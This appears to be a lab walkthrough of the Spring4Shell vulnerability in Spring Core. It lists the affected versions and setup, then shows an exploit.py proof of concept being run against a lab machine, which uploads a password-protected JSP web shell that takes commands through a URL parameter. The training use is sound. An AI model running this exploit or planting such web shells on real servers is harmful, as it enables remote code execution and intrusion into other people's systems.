These vulnerabilities affects a component "Spring Core" — the heart of the framework
Current conditions for vulnerability:-
- JDK 9+
- A vulnerable version of the Spring Framework (<5.2 | 5.2.0-19 | 5.3.0-17)
- Apache Tomcat as a server for the Spring application, packaged as a WAR
- A dependency on the spring-webmvc and/or spring-webflux components of the Spring Framework
user@attacker:~$ ./exploit.py --help
usage: exploit.py [-h] [-f FILENAME] [-p PASSWORD] [-d DIRECTORY] url
Spring4Shell RCE Proof of Concept
positional arguments:
url Target URL
optional arguments:
-h, --help show this help message and exit
-f FILENAME, --filename FILENAME
Name of the file to upload (Default tomcatwar.jsp)
-p PASSWORD, --password PASSWORD
Password to protect the shell with (Default: thm)
-d DIRECTORY, --directory DIRECTORY
The upload path for the file (Default: ROOT)
user@attacker:~$ ./exploit.py http://MACHINE_IP/
Shell Uploaded Successfully!
# OUTPUT= Your shell can be found at: http://MACHINE_IP/tomcatwar.jsp?pwd=thm&cmd=whoami